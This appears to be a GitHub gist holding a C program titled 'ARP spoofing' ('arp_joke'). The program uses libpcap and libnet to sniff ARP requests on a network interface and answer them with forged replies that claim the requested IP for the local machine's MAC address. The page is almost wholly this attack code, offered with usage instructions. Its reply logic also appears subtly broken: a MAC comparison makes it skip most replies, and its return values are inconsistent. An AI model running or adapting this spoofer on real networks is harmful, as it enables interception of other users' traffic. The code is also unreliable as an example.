Skip to content

Instantly share code, notes, and snippets.

@fireflyc
Created December 25, 2016 12:43
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 4 You must be signed in to fork a gist
  • Save fireflyc/796f55d54be39e629a2a1fcb2607a33b to your computer and use it in GitHub Desktop.
Save fireflyc/796f55d54be39e629a2a1fcb2607a33b to your computer and use it in GitHub Desktop.
arp欺骗
#include <pcap.h>
#include <stdlib.h>
#include <libnet.h>
#define log_error(...) fprintf(stderr, __VA_ARGS__)
#define log_info(...) fprintf(stdout, __VA_ARGS__)
#define FALSE (0==1)
#define TRUE (1==1)
typedef struct arp_joke {
char *ifi;
} arp_joke_t;
typedef struct arphdr {
u_int16_t htype; /* Hardware Type */
u_int16_t ptype; /* Protocol Type */
u_char hlen; /* Hardware Address Length */
u_char plen; /* Protocol Address Length */
u_int16_t oper; /* Operation Code */
u_char sha[6]; /* Sender hardware address */
u_char spa[4]; /* Sender IP address */
u_char tha[6]; /* Target hardware address */
u_char tpa[4]; /* Target IP address */
} arphdr_t;
int response_arp(char *device, struct libnet_ethernet_hdr *eth_hdr, arphdr_t *arp_hdr, char *errbuf) {
libnet_t *net = libnet_init(LIBNET_LINK, device, errbuf);
if (net == NULL) {
return FALSE;
}
struct libnet_ether_addr *mac_addr = libnet_get_hwaddr(net);
if (memcmp(mac_addr->ether_addr_octet, arp_hdr->tha, 6) ||
memcmp(mac_addr->ether_addr_octet, arp_hdr->sha, 6)) {
return FALSE;
}
libnet_ptag_t t = libnet_autobuild_arp(
ARPOP_REPLY, /* operation type */
(const uint8_t *) mac_addr, /* sender hardware addr */
(uint8_t *) &arp_hdr->tpa, /* sender protocol addr */
eth_hdr->ether_shost, /* target hardware addr */
(uint8_t *) &arp_hdr->spa, /* target protocol addr */
net); /* libnet id */
if (t == -1) {
snprintf(errbuf, BUFSIZ, "Can't build ARP header: %s\n", libnet_geterror(net));
libnet_destroy(net);
return EXIT_FAILURE;
}
t = libnet_build_ethernet(
arp_hdr->sha, /* ethernet destination */
(const uint8_t *) mac_addr,
ETHERTYPE_ARP, /* protocol type */
NULL,
0,
net, /* libnet handle */
0);
if (t == -1) {
snprintf(errbuf, BUFSIZ, "Can't build ethernet header: %s\n", libnet_geterror(net));
libnet_destroy(net);
return EXIT_FAILURE;
}
int write_size = libnet_write(net);
if (write_size == -1) {
snprintf(errbuf, BUFSIZ, "Writer error %s", libnet_geterror(net));
libnet_destroy(net);
return EXIT_FAILURE;
}
libnet_destroy(net);
return EXIT_SUCCESS;
}
void on_packet(u_char *arg, const struct pcap_pkthdr *pkthdr, const u_char *packet) {
arp_joke_t *arp_joke = (arp_joke_t *) arg;
char errbuf[BUFSIZ];
struct libnet_ethernet_hdr *ether_hdr = (struct libnet_ethernet_hdr *) packet;
if (ntohs(ether_hdr->ether_type) == ETHERTYPE_ARP) {
arphdr_t *arp_hdr = (arphdr_t *) (packet + LIBNET_ETH_H);
if (ntohs(arp_hdr->oper) == ARPOP_REQUEST) {
log_info("received arp query\n");
//收到ARP
response_arp(arp_joke->ifi, ether_hdr, arp_hdr, errbuf);
log_info("send response\n");
}
return;
}
}
pcap_t *init_pcap(const char *dev, const char *filter_exp, char *errbuf) {
bpf_u_int32 netp;
bpf_u_int32 maskp;
if (pcap_lookupnet(dev, &netp, &maskp, errbuf) == -1) {
snprintf(errbuf, BUFSIZ, "lookup %s failed", dev);
return NULL;
}
pcap_t *pcap = pcap_open_live(dev, 1500, 1, 0, errbuf);
if (pcap == NULL) {
return NULL;
}
if (filter_exp != NULL) {
struct bpf_program fp;
if (pcap_compile(pcap, &fp, filter_exp, 1, netp) == -1) {
snprintf(errbuf, BUFSIZ, "Compile filter expression failed %s cause: %s", filter_exp,
pcap_geterr(pcap));
pcap_close(pcap);
return NULL;
}
if (pcap_setfilter(pcap, &fp) == -1) {
snprintf(errbuf, BUFSIZ, "Install filter failed %s", pcap_geterr(pcap));
pcap_close(pcap);
return NULL;
}
}
return pcap;
}
pcap_t *pcap = NULL;
arp_joke_t *arp_joke = NULL;
void on_exit(int sig) {
if (arp_joke != NULL) {
free(arp_joke);
}
if (pcap != NULL) {
pcap_close(pcap);
}
}
int main(int argc, char **argv) {
if (argc != 2) {
printf("usage arp_joke <network card>\n");
return EXIT_FAILURE;
}
char errbuf[BUFSIZ];
pcap = init_pcap(argv[1], NULL, errbuf);
if (pcap == NULL) {
log_error("init pcap failed %s\n", errbuf);
return EXIT_FAILURE;
}
//获取mac地址
log_info("Start Success\n");
arp_joke = (arp_joke_t *) malloc(sizeof(arp_joke_t));
arp_joke->ifi = argv[1];
signal(SIGINT, on_exit);
pcap_loop(pcap, -1, on_packet, (u_char *) arp_joke);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment